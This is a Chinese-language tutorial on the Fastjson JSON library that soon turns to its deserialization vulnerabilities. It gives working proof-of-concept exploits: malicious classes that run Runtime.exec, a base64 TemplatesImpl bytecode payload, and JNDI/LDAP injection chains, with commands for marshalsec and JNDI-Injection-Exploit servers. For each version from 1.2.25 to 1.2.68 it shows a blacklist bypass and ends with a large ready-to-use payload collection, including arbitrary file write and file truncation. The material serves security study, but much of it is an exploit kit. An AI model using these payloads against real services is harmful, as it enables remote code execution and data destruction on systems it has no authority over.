FastJson的使用 简介 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。分别通过 toJSONString
和 parseObject/parse
来实现序列化和反序列化
导入依赖
1 2 3 4 5 6 7 <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies>
将类转为 json 最常用的方法就是 JSON.toJSONString()
,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:
序列化特性:com.alibaba.fastjson.serializer.SerializerFeature
,可以通过设置多个特性到 FastjsonConfig
中全局使用,也可以在使用具体方法中指定特性
序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter
, 一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化
序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig
,可以添加特定类型自定义的序列化配置
将 json 反序列化为类 将 json 数据反序列化时常使用的方法为parse()
、parseObject()
、parseArray()
,这三个方法也均包含若干重载方法,带有不同参数:
反序列化特性:com.alibaba.fastjson.parser.Feature
类的类型:java.lang.reflect.Type
,用来执行反序列化类的类型
处理泛型反序列化:com.alibaba.fastjson.TypeReference
编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess
,例如 ExtraProcessor
用于处理多余的字段,ExtraTypeProvider
用于处理多余字段时提供类型信息
1 2 3 4 5 6 7 //序列化 String text = JSON.toJSONString(obj); //反序列化 VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型 VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型 VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
标准模式下的JSON序列化和反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.alibaba.fastjson.JSON;class User { private String name; private int age; public User () {} @Override public String toString () { return "User{" + "name=" + name + ", age=" + age + '}' ; } public String getName () { System.out.println("调用了getName" ); return name; } public void setName (String name) { System.out.println("调用了setName" ); this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } public User (String name, int age) { this .name = name; this .age = age; } } public class JsonTest { public static void main (String[] args) { User user = new User (); user.setAge(18 ); user.setName("micgo" ); String s = JSON.toJSONString(user); System.out.println(s); User user1 = JSON.parseObject(s, User.class); System.out.println(user1); } }
若序列化代码加上参数 SerializerFeature.WriteClassName
1 2 String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);System.out.println(s1);
传入SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON
的数据就会多一个**@type**,这个是代表对象类型的JSON
文本。FastJson的漏洞就是他这一功能产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的getter/setter/is方法
反序列化
1 2 3 4 5 6 7 String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);JSONObject jsonObject = JSON.parseObject(s1);System.out.println(jsonObject); User user2 = JSON.parseObject(s1,User.class);System.out.println(user2);
parse
json进行反序列化时,字符串中有@type
会自动执行指定类的set方法,并且会转换为@type
指定类的类型
parseObject
进行反序列化时会自动执行@type
指定类的get和set方法,并且转换为JSONObject
类
在parseObject
参数中加一个类参数则会转换为其指定的类(指定Object会自动转化为JSONObject)
JSON.parseObject
和 JSON.parse
这两个方法差不多,JSON.parseObject
的底层调用的还是JSON.parse
方法,只是在JSON.parse
的基础上做了一个封装
反序列化漏洞 fastjson反序列化漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,执行代码
demo @type 指定类,使用JSON.parse
方法反序列化会调用此类的set方法,使用JSON.parseObject
方法反序列化会调用此类get和set方法。可以写一个恶意类,然后通过这一特性实现命令执行
EvilClass.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import java.io.IOException;public class EvilClass { private String name; private int id; public EvilClass () { System.out.println("无参构造" ); } @Override public String toString () { return "User{" + "name=" + name + ", id=" + id + '}' ; } public String getName () { System.out.print("getName" ); return name; } public void setName (String name) { System.out.println("setName" ); this .name = name; } public int getId () { System.out.println("getId" ); return id; } public void setId (int id) throws IOException { System.out.println("setId" ); this .id = id; Runtime.getRuntime().exec("calc" ); } }
FastJsonTest.java
1 2 3 4 5 6 7 8 import com.alibaba.fastjson.JSON;public class FastJsonTest { public static void main (String[] args) { String json = "{\"@type\":\"EvilClass\",\"id\":1,\"name\":\"micgo\"}" ; System.out.println(JSON.parse(json)); } }
两条反序列化利用链分析,影响范围:fastjson 1.2.22-1.2.24
TemplatesImpl POC EvilClass.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class EvilClass extends AbstractTranslet { public EvilClass () throws IOException { Runtime.getRuntime().exec("calc.exe" ); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException{ } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{ } public static void main (String[] args) throws Exception{ EvilClass evilClass = new EvilClass (); } }
使用javac
将java文件编译成字节码文件.class
,然后将字节码进行base64加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.ByteArrayOutputStream;import java.io.FileInputStream;import java.util.Base64;import java.util.Base64.Encoder;public class Code { public static void main (String[] args) { byte [] buffer = null ; String filepath = ".\\target\\classes\\EvilClass.class" ; try { FileInputStream fis = new FileInputStream (filepath); ByteArrayOutputStream bos = new ByteArrayOutputStream (); byte [] b = new byte [1024 ]; int n; while ((n = fis.read(b))!=-1 ) { bos.write(b,0 ,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch (Exception e) { e.printStackTrace(); } Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); System.out.println(value); } }
POC1.java
1 2 3 4 5 6 7 8 9 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class POC1 { public static void main (String[] args) { String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMRXZpbENsYXNzOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAJZXZpbENsYXNzBwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAIAAkHAC8MADAAMQEACGNhbGMuZXhlDAAyADMBAAlFdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAA8AAAAEAAEAFwABABEAGAACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAFAAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABkAGgACAAAAAQAbABwAAwAPAAAABAABABcACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAFwAIABgADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"], '_name':'micgo', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}" ; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
关于POC中的payload解释:
@type
主要指向利用的类,这里是需要用到这个类中的_bytecodes
来加载恶意类的字节码
_bytecodes
用来加载恶意类
调用outputProperties
属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行
Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发
Fastjson
通过 _bytecodes
字段传入恶意类,调用_outputProperties
属性的getter
方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行
调试分析 先看一下com.sun.org.apache.xalan.internal.xsltc.trax的TemplatesImpl
的getOutputProperties
方法,它是 _outputProperties
的getter方法,这里会去调用newTransformer()
继续跟进,在newTransformerImpl
对象时会进入到getTransletInstance()
中
继续跟进,在getTransletInstance()
中,如果在 _name
不等于null且 _class
等于null时会进入到defineTransletClasses()
中,这里先继续往下看,其中_transletIndex
为-1,也就是说会对_class
数组中的第一个类进行实例化,并且会强制转换为AbstractTranslet
,接下来来看下class是怎么来的
跟进到defineTransletClasses()
中,通过for循环加载_bytecodes[]
来加载类,也就是说_bytecodes[]
就是我们构造注入的点,其中_tfactory
不为null,并且因为加载完类后会强制类型转换为AbstractTranslet
,也就是说加载的类必须为AbstractTranslet
的子类,这样整条链子就齐了
总结一下TemplatesImpl
链子要满足的点:
fastjson反序列化时需有Feature.SupportNonPublicField
参数
_bytecodes[]
需进行base64编码
_bytecodes[]
中加载的类需为AbstractTranslet
的子类
_name
不为null
_tfactory
不为null
JdbcRowSetImpl JdbcRowSetImpl链只需要可以控制输入就能利用,然而限制则是不同版本的jdk对jndi和rmi的限制
POC 1 2 3 4 5 6 public class FastJsonTest { public static void main (String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}" ; JSON.parse(payload); } }
EvilClass.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.io.Serializable;import java.util.Hashtable;public class EvilClass implements ObjectFactory , Serializable { public EvilClass () throws IOException { Runtime.getRuntime().exec("calc.exe" ); } public static void main (String[] args) throws IOException { EvilClass exploit = new EvilClass (); } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } }
把恶意类编译为class文件,在当前目录起一个python的web服务
1 python -m http.server 2333
使用marshalsec开启一个ldap服务
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/#Exploit 1099
或者直接用JNDI-Injection-Exploit-1.0-SNAPSHOT.jar
1 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
把该ldap服务地址放到POC里
执行POC
1 2 3 4 5 6 7 8 import com.alibaba.fastjson.JSON;public class FastJsonTest { public static void main (String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/a4cnvo\", \"autoCommit\":false}" ; JSON.parse(payload); } }
调试分析 setAutoCommit
函数,当this.conn
为null的时候会进入到this.connect()
中,而this.conn
在构造函数中初始为null
继续跟进可以看见var1.lookup()
经典的JNDI注入,且DataSourceName
可控
lookup(getDataSourceName())
lookup函数链接我们写入的服务,加载我们的恶意类
1.2.25-1.2.41 在此版本中,新增了黑名单和白名单功能。在ParserConfig中,可以看到黑名单的内容,而且设置了一个autoTypeSupport用来控制是否可以反序列化,autoTypeSupport默认为false且禁止反序列化,为true时会使用checkAutoType来进行安全检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 //黑名单denylist bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
接着来看一下checkAutoType
怎么进行拦截的,在autoTypeSupport
开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass
,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常
接着继续往下看,从Mapping
中寻找类然后继续从deserializers
中寻找类,如果autoTypeSupport
没有开启的情况下,会对指定的@type
类进行黑白名单判断,然后抛出异常,最后如果autoTypeSupport
开启的情况下,会再一次进行判断然后进入到TypeUtils.loadClass
中
在TypeUtils.loadClass
中,可以看到对[ L ;
进行了处理,而其中在处理 L ;
的时候存在了逻辑漏洞,可以在@type
的前后分别加上 L ;
来进行绕过
新payload即在原payload前后分别加上 L 和 ; 且会截去
1 2 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
1.2.42 在此版本中,将黑名单改为了hashcode,但是在com.alibaba.fastjson.util.TypeUtils#fnv1a_64
中有hashcode的计算方法,然后在checkAutoType
中,使用hashcode对L ;
进行了截取,然后进入到TypeUtils.loadClass
中,也就是说对L ;
进行双写即可绕过
1 2 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
1.2.43 在此版本中,checkAutoType
对LL
进行了判断,如果类以LL
开头,则直接抛出异常
在TypeUtils.loadClass
中,还对 [
进行了处理,因此可以通过 [
来进行绕过
payload:
1 2 3 4 5 6 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport { "@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"ldap://127.0.0.1:1389/g0tvin", "autoCommit":true }
该payload在前几个版本也可以使用,影响版本1.2.25-1.2.43
1.2.44 修复了[
的绕过,在checkAutoType
中进行判断如果类名以[
开始则直接抛出异常,由字符串处理导致的黑名单绕过告一段落
1.2.45 增加了黑名单,存在组件漏洞,需要有mybatis
组件。影响版本:1.2.25-1.2.45 (黑名单列表需要不断补充)
payload如下:
1 2 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/g0tvin"}}
1.2.47 在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。影响版本:1.2.25-1.2.47
payload:
1 2 3 4 5 6 7 8 9 10 11 { "1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:1389/g0tvin", "autoCommit": true } }
这次的绕过问题还是出现在 checkAutoType()
方法中
1.2.48 在MiscCodec
中修改了cache
的默认值,修改为false
,并且对TypeUtils.loadClass
中的mapping.put
做了限制
1.2.68 在1.2.48-1.2.68
中还出现了一些黑名单的绕过。在此版本中新增了一个safeMode
功能,如果开启的话,将会直接抛出异常,完全杜绝了autoTypeSupport
的绕过。于此同时还曝出了在不开启safeMode
的前提下,对autoTypeSupport
的绕过
通过expectClass
进行绕过,当传入的expectClass
不在黑名单中后,expectClassFlag
的值为true时,会调用TypeUtils.loadClass
加载类,其中clazz
也就是传进去的另一个类名必须为expectClass
的子类
接下来找一下 checkAutoType()
几个重载方法是否有可控的 expectClass
的入参方式,最终找到了以下几个类:
ThrowableDeserializer#deserialze()
JavaBeanDeserializer#deserialze()
ThrowableDeserializer#deserialze()
方法直接将 @type
后的类传入 checkAutoType()
,并且 expectClass 为 Throwable.class
通过 checkAutoType()
之后,将使用 createException
来创建异常类的实例
这就形成了 Throwable
子类绕过 checkAutoType()
的方式。需要找到 Throwable
的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑
与 Throwable
类似地,还有 AutoCloseable
,之所以使用 AutoCloseable
以及其子类可以绕过 checkAutoType()
,是因为 AutoCloseable
是属于 fastjson 内置的白名单中,其余的调用链一致
这里总结一下恶意类要满足的条件:
恶意类不在黑名单内
恶意类的父类(例如AutoCloseable
) 不在黑名单内
恶意类不能是抽象类
恶意类中的getter/setter/static block/constructor
能触发恶意操作
payload合集 以下是各个途径搜集的 payload,版本自测:
JdbcRowSetImpl
1 2 3 4 5 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:1389/g0tvin" , "autoCommit" : true }
TemplatesImpl
1 2 3 4 5 6 7 { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" : [ "yv66vgA...k=" ] , '_name': 'su18', '_tfactory': { } , "_outputProperties" : { } , }
JndiDataSourceFactory
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://127.0.0.1:1389/g0tvin" } }
SimpleJndiBeanFactory
1 2 3 4 5 6 7 8 9 10 11 { "@type" : "org.springframework.beans.factory.config.PropertyPathFactoryBean" , "targetBeanName" : "ldap://127.0.0.1:1389/g0tvin" , "propertyPath" : "su18" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://127.0.0.1:1389/g0tvin" ] } }
DefaultBeanFactoryPointcutAdvisor
1 2 3 4 5 6 7 8 9 10 11 12 13 { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://127.0.0.1:1389/g0tvin" ] } , "adviceBeanName" : "ldap://127.0.0.1:1389/g0tvin" } , { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" }
WrapperConnectionPoolDataSource
1 2 3 4 { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap:aced000...6f;" }
JndiRefForwardingDataSource
1 2 3 4 5 { "@type" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" , "jndiName" : "ldap://127.0.0.1:1389/g0tvin" , "loginTimeout" : 0 }
InetAddress
1 2 3 4 { "@type" : "java.net.InetAddress" , "val" : "http://dnslog.com" }
Inet6Address
1 2 3 4 { "@type" : "java.net.Inet6Address" , "val" : "http://dnslog.com" }
URL
1 2 3 4 { "@type" : "java.net.URL" , "val" : "http://dnslog.com" }
JSONObject
1 2 3 4 5 6 7 8 9 { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.net.URL" , "val" : "http://dnslog.com" } } "" }
URLReader
1 2 3 4 5 6 7 8 9 10 { "poc" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.alibaba.fastjson.JSONReader" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "http://127.0.0.1:9999" } } }
AutoCloseable 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream" , "out" : { "@type" : "java.io.FileOutputStream" , "file" : "/path/to/target" } , "parameters" : { "@type" : "org.apache.commons.compress.compressors.gzip.GzipParameters" , "filename" : "filecontent" } }
BasicDataSource
1 2 3 4 5 6 7 8 { "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource" , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A..." , "driverClassLoader" : { "@type" : "Lcom.sun.org.apache.bcel.internal.util.ClassLoader;" } }
JndiConverter
1 2 3 4 { "@type" : "org.apache.xbean.propertyeditor.JndiConverter" , "AsText" : "ldap://127.0.0.1:1389/g0tvin" }
JtaTransactionConfig
1 2 3 4 5 6 7 { "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" , "properties" : { "@type" : "java.util.Properties" , "UserTransaction" : "ldap://127.0.0.1:1389/g0tvin" } }
JndiObjectFactory
1 2 3 4 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://127.0.0.1:1389/g0tvin" }
AnterosDBCPConfig
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "metricRegistry" : "ldap://127.0.0.1:1389/g0tvin" }
AnterosDBCPConfig2
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:1389/g0tvin" }
CacheJndiTmLookup
1 2 3 4 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : "ldap://127.0.0.1:1389/g0tvin" }
AutoCloseable 清空指定文件
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/tmp/nonexist" , "append" : false }
AutoCloseable 清空指定文件
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileWriter" , "file" : "/tmp/nonexist" , "append" : false }
AutoCloseable 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/tmp/nonexist" , "append" : false } , "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.solr.common.util.FastOutputStream" , "tempBuffer" : "SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=" , "sink" : { "$ref" : "$.stream" } , "start" : 38 } , "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.iq80.snappy.SnappyOutputStream" , "out" : { "$ref" : "$.writer" } } }
BasicDataSource
1 2 3 4 5 6 7 8 { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassName" : "true" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A" }
HikariConfig
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://127.0.0.1:1389/g0tvin" }
HikariConfig
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:1389/g0tvin" }
HikariConfig
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://127.0.0.1:1389/g0tvin" }
HikariConfig
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:1389/g0tvin" }
SessionBeanProvider
1 2 3 4 5 { "@type" : "org.apache.commons.proxy.provider.remoting.SessionBeanProvider" , "jndiName" : "ldap://127.0.0.1:1389/g0tvin" , "Object" : "su18" }
JMSContentInterceptor
1 2 3 4 5 6 7 8 9 { "@type" : "org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : { "@type" : "java.util.Hashtable" , "java.naming.factory.initial" : "com.sun.jndi.rmi.registry.RegistryContextFactory" , "topic-factory" : "ldap://127.0.0.1:1389/g0tvin" } , "namespace" : "" }
ContextClassLoaderSwitcher
1 2 3 4 5 6 7 8 9 { "@type" : "org.jboss.util.loading.ContextClassLoaderSwitcher" , "contextClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "a" : { "@type" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A" } }
OracleManagedConnectionFactory
1 2 3 4 { "@type" : "oracle.jdbc.connector.OracleManagedConnectionFactory" , "xaDataSourceName" : "ldap://127.0.0.1:1389/g0tvin" }
JNDIConfiguration
1 2 3 4 { "@type" : "org.apache.commons.configuration.JNDIConfiguration" , "prefix" : "ldap://127.0.0.1:1389/g0tvin" }
参考文章:https://javasec.org/java-vuls/FastJson.html
https://tttang.com/archive/1579/